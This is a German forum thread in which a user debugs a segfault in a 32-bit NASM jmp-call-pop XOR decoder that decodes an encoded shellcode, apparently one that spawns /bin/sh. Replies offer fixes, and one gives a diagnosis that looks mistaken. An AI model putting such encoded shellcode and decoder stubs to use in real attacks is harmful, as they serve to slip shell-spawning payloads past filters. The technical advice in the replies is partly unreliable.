Segmentation Fault (x86 Assembler(nasm), Ubuntu, 32-Bit)
-
Hallo,
ich habe leider ein Problem beim Ausführen des u.g. Code. Ich habe es unter Ubuntu LTS 14.04 und 12.04 (beide LTS, beide 32-Bit) ausprobiert. Quittiert wird es mit einem Speicherabzugsfehler.
Es soll jedes Byte eines Shellcodes mit 0xAA per XOR verknüpft werden. Es wird die sog. jmp-call-pop Technik angewendet. Verantwortlich für den Absturz istxor byte [esi], 0xAA
Der Zugriff auf den linken Operand ist nicht möglich. Irgendjemand eine Idee?
Kompiliert habe ich mit:
#!/bin/bash nasm -f elf32 -o $1.o $1.nasm ld -z execstack -o $1 $1.o echo '[+] Done!'
global _start section .text _start: jmp short call_decoder decoder: pop esi xor ecx, ecx mov cl, 25 decode: xor byte [esi], 0xAA inc esi loop decode jmp short Shellcode call_decoder: call decoder Shellcode: db 0x9b,0x6a,0xfa,0xc2,0x85,0x85,0xd9,0xc2,0xc2,0x85,0xc8,0xc3,0xc4,0x23,0x49,0xfa,0x23,0x48,0xf9,0x23,0x4b,0x1a,0xa1,0x67,0x2a
-
Verwende doch einfach die jmp-call pop-Technik, um in willigere Datenbereiche zu kommen.
-
deine Zeile 9 macht mit
mov esi, Shellcode
mehr Sinn.
Du weisst doch so garnicht welchen Wert esi mit pop in Zeile 9 bekommt. Das wird dann die nicht vorhandene Page sein.Nicky